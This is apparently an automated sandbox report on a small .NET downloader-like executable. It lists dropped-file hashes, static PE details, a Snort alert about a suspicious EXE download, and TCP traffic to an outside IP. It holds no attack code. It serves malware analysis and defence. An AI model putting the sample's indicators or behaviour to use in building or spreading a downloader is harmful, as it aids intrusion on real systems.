Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.354902188542171
Encrypted:	false
SSDEEP:	48:CWSU4xymI4RfoUeW+gZ9tK8NPdMs7u1iMugeC/ZaOUyu0lhV:CLHxvIIwLgZ2KlDOugg01
MD5:	6BF5249E7EED52BA8B9AD9804C79C0BF
SHA1:	E6DC63E4AD576367367B2656A2C0CBAB7185B0A2
SHA-256:	8AC1B3611A35F9365DD66AD4C89E1D54DBCD8587CF1DCCAAD9A697973DE378A9
SHA-512:	0704A28140E1F8005BE21D999DFC3E262CA3D3BDB1EDB171B0D830E8B4DE4262D67B74BCBF90E066340EA70C10A4CBB52F8648675F26B8D78AC13DEE7DF0139A
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................P................1]...E.....m.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Windows\Temp\__PSScriptPolicyTest_3py3qwik.dxx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_lphho3tz.nek.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_s2imeua5.z4m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xmp5re0c.j40.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465706767800925
Encrypted:	false
SSDEEP:	6144:BIXfpi67eLPU9skLmb0b4EWSPKaJG8nAgejZMMhA2gX4WABl0uNcdwBCswSbH:CXD94EWlLZMM6YFHC+H
MD5:	54375C8460D9352D5F9C875CD00EEAB2
SHA1:	3573A4458BD67C6471CE40AE902D445B4AD9E91D
SHA-256:	57ABD6FB036631F7DC095BA096E102AF446FA7040CA9448B71617DF3C0101D5C
SHA-512:	72BCEE4E72A1882534A2C4457111B370E2D710964B80B6C34A7C7C28DEA59DC31415FC395F3E534F1C6BA6E306E1246A017706347DE39872969613CF0B6D3907
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmJ..Q3..............................................................................................................................................................................................................................................................................................................................................._.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.198994399328652
Encrypted:	false
SSDEEP:	3:GA3yHXWTbMExAiqFrKRZJc8FXA3yHXWTbMExAixyMBsZKqX4LxNNzABwQA:ny3I4miFOZJDuy3I4mZyAs0qX4fNzAmZ
MD5:	6FEBC24377F0FB964DA7781D463736DE
SHA1:	01192D1B19358150450E9730BB896CE908A3F76F
SHA-256:	47ABAB8D0251284902A20159701A037C9F6DAB6CA0F0E0A79452E90A8A7732A0
SHA-512:	F434C65E458E590001B6E64380AC75AF76454A42E97C743FAA837EF4CE207B091F8A46D270A0D561B0B7364CF9F36F85B0BCBA99F451ED3E6326622A353BC683
Malicious:	false
Reputation:	unknown
Preview:	The remote server returned an error: (404) Not Found...The remote server returned an error: (403) Forbidden...The operation has timed out..

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.826946743624939
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	New_Text_Document_mod.exse.exe
File size:	8'192 bytes
MD5:	69994ff2f00eeca9335ccd502198e05b
SHA1:	b13a15a5bea65b711b835ce8eccd2a699a99cead
SHA256:	2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
SHA512:	ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3
SSDEEP:	96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1
TLSH:	3EF10901DBD0C7BAC6B703B50C63A6408A79E3091A679FAF28CD41A7AD5639C02D3772
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.........."...P..............4... ...@....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4034e6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6582889D [Wed Dec 20 06:24:29 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3494	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x50c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x14ec	0x1600	False	0.5165127840909091	data	5.400435668498685	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x50c	0x600	False	0.3834635416666667	data	3.8163688955569137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x4090	0x27c	data			0.4481132075471698
RT_MANIFEST	0x431c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4172.67.195.1649730802022896 12/20/23-15:34:59.491424	TCP	2022896	ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016	49730	80	192.168.2.4	172.67.195.16

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2023 15:34:59.341310978 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.491058111 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.491164923 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.491424084 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.639214039 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720406055 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720422029 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720442057 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720454931 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720475912 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.720499992 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.720536947 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720598936 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720639944 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.720685005 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720704079 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720725060 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720745087 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.720797062 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720838070 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.720866919 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720885992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.720942974 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.721868992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.721971035 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722018003 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.722026110 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722044945 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722094059 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.722810984 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722876072 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722889900 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722922087 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.722927094 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.722976923 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.723463058 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723481894 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723531961 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.723557949 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723572969 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723608971 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.723720074 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723767042 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723779917 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723793030 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.723812103 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.723841906 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.724339962 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.724392891 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.724442959 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.724751949 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.724766016 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.724809885 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.725214958 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.725234032 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.725284100 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.725347996 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.725398064 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.725451946 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.726733923 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.726752996 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.726804972 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.726818085 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.726836920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.726886988 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.727617025 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.727636099 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.727700949 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.727710962 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.727729082 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.727777004 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.728188992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728235960 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728250027 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728269100 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728296041 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.728313923 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.728797913 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728842020 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728859901 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728889942 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.728933096 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.728981972 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.729496956 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.729515076 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.729559898 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.729559898 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.729578972 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.729630947 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.732367992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.732414961 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.732469082 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.732527018 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.732558012 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.732605934 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.733365059 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733378887 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733418941 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.733428955 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733447075 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733494043 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.733498096 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733535051 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733575106 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.733953953 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.733995914 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734009981 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734042883 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.734050989 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734097004 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.734528065 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734546900 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734582901 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.734603882 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734617949 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.734664917 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.735207081 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735225916 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735268116 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.735271931 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735316992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735368967 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.735841036 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735860109 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735908985 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.735924006 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735938072 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.735979080 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.736670017 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.736716986 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.736738920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.736762047 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.736783028 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.736826897 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.737391949 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.737406015 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.737458944 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.738013983 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.738030910 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.738071918 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.738734007 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.738776922 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.738795042 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.738823891 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.738851070 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.738898993 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.739953041 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740042925 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740061998 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740083933 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740091085 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.740133047 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.740763903 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740802050 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740816116 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740833998 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740845919 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.740876913 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.740907907 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740921021 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.740962982 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.741004944 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.741063118 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.741113901 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.741595030 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.741615057 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.741657972 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.741671085 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.741688967 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.741729021 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.742387056 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.742424965 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.742470980 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.742849112 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.742867947 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.742882967 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.742903948 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.742919922 CET	49730	80	192.168.2.4	172.67.195.16
